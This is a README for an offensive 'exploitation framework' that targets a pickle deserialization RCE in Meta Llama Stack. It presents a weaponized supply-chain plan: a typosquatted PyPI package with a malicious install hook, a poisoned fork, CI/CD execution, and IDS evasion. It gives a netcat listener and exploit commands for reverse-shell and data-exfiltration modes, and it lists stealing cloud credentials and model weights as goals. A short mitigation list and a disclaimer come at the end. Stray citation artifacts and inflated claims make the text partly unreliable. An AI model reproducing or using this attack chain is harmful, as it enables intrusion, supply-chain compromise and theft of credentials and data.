[![DOI](https://img.shields.io/badge/DOI-10.5281%2Fzenodo.18278567-blue?logo=zenodo&logoColor=white)](https://doi.org/10.5281/zenodo.18278567) = [doi.org/10.5281/zenodo.18278567](https://doi.org/10.5281/zenodo.18278567)

[![ORCID](https://img.shields.io/badge/ORCID-0009--0007--7728--256X-A6CE39?logo=orcid&logoColor=white)](https://orcid.org/0009-0007-7728-256X) = [orcid.org/0009-0007-7728-256X](https://orcid.org/0009-0007-7728-256X)

---

# 💀 LlamaStack-RCE: CVE-2024-50050 Supply Chain Exploitation Framework

### **UNRESTRICTED CLASSIFIED MATERIAL - FOR AUTHORIZED RED TEAMING ONLY**

## 1. Executive Summary (Deterministic Analysis)

LlamaStack-RCE is a high-fidelity simulation and exploitation framework targeting **CVE-2024-50050**, a critical Remote Code Execution (RCE) vulnerability in the **Meta Llama Stack**. The vulnerability stems from **Insecure Deserialization** within the Python-based inference API, specifically through the use of the `pickle` module over ZeroMQ (0MQ) transport layers.

This repository provides the full attack chain, from upstream supply chain poisoning to downstream execution and model weights exfiltration.

---

## 2. Technical Evasion & Weaponization

### **2.1. Anatomy of the Attack (PVM Exploitation)**

The core of the exploit targets the **Pickle Virtual Machine (PVM)**. By utilizing the `GLOBAL` opcode, we can force the PVM to import any available Python module and execute arbitrary functions during the `unpickling` process.

**Attack Vector:** `ZeroMQ Socket` -> `Raw Byte Stream` -> `pickle.loads()` -> `RCE`.

### **2.2. Polymorphic Payload Construction**

To bypass traditional Signature-based IDS (Snort/Suricata), the framework implements polymorphic encoding:

* 
**Base64 Nested Execution:** Encapsulates shell commands within Base64 to hide literal strings like `/bin/bash` or `os.system`.


* 
**Opcode Obfuscation:** Reorders PVM instructions to change binary signatures without altering the execution logic.


* 
**Packet Smuggling:** Fragments the `pickle` payload into multiple ZeroMQ frames to evade volume-based anomaly detection.



---

## 3. Supply Chain Infiltration Strategy

The framework simulates a holistic **Supply Chain Weaponization**:

| Phase | Strategy | Technical Implementation |
| --- | --- | --- |
| **I: Upstream** | **Typosquatting** | Registering `metalama-stack` on PyPI with a malicious `PostInstallCommand` in `setup.py`.

 |
| **II: Distribution** | **Poisoned Fork** | High-performance Llama Stack fork on GitHub with a "Hidden Pickle Interpreter" in `connection.py`.

 |
| **III: Execution** | **CI/CD Trigger** | Automatic execution during `pip install` in the target's Jenkins/GitHub Actions environment.

 |
| **IV: Persistence** | **Logic Bomb** | Multi-stage background stager for long-term C2 access and model theft.

 |

---

## 4. Laboratory Architecture & Deployment

### **4.1. Prerequisites**

* 
**Hardware:** 4x NVIDIA A100/H100 (for local testing of weights).


* 
**OS:** Hardened Arch Linux or Kali Linux.


* 
**Environment:** Docker & Docker-Compose (Isolated Network).



### **4.2. File Structure**

```bash
.
[cite_start]├── lab_validator.py          # 7-stage automated validation suite [cite: 206, 264]
[cite_start]├── exploit_cve_2024_50050.py # Main exploitation framework [cite: 138, 206]
[cite_start]├── server.py                 # Vulnerable Llama Stack simulation [cite: 112, 150]
[cite_start]├── setup.py                  # Weaponized supply chain installer [cite: 110, 206]
[cite_start]├── post_exploit.py           # Data harvesting & lateral movement [cite: 210, 264]
[cite_start]└── evasion_library.py        # 12+ advanced evasion methods [cite: 264]

```

### **4.3. Execution Workflow**

1. **Validate Environment:**
```bash
[cite_start]python lab_validator.py # Target: 100% Pass Rate [cite: 208, 209]

```


2. **Launch Listener (C2):**
```bash
nc -lvnp 4444

```


3. **Execute Exploit (Reverse Shell Mode):**
```bash
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode shell --shell-type python [cite: 145, 148]

```


4. **Initiate Data Exfiltration:**
```bash
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode exfil [cite: 146, 148]

```



---

## 5. Impact Assessment (Criticality: 10/10)

Successful exploitation grants absolute control over the AI Infrastructure:

* 
**Intellectual Property Theft:** Theft of `.safetensors` model weights (valued at $10M - $100M+).


* 
**GPU Hijacking:** Unauthorized CUDA resource allocation for Cryptojacking or Shadow Training.


* 
**Inference Manipulation:** Poisoning model responses to cause systemic failures in downstream applications (Medical/Legal AI).


* 
**Credential Harvesting:** Extraction of AWS/GCP keys and K8s configs from `/proc/self/environ`.



---

## 6. Deterministic Hardening (Purple Team Recommendations)

To mitigate CVE-2024-50050, the following absolute rules must be applied:

1. 
**Eradicate Pickle:** Replace all `pickle.loads()` with `safetensors.torch.load_file()` or `msgpack` with strict schema.


2. 
**ZMQ Hardening:** Implement `ZMQ_CURVE` with Public/Private Key pairs and never bind to `0.0.0.0`.


3. 
**Infrastructure Isolation:** Run AI processes in `gVisor` or `Kata Containers` to prevent RCE container escape.


4. 
**Network Micro-segmentation:** Isolate the Inference Server from the public internet using strictly defined ingress/egress rules.



---

## 7. Legal Disclaimer

**LEGAL NOTICE:** Usage of this framework for attacking targets without prior written authorization is illegal. It is provided for educational and authorized penetration testing purposes only. The author (Sastra_Adi_Wiguna) accepts no liability for misuse.

---


**DOKUMEN KLASIFIKASI: PURPLE_ELITE_TEAMING_DEEP_REVERSE_ENGINEERING 2026** **DETERMINISTIC STATUS: PRODUCTION-READY (98/100)**
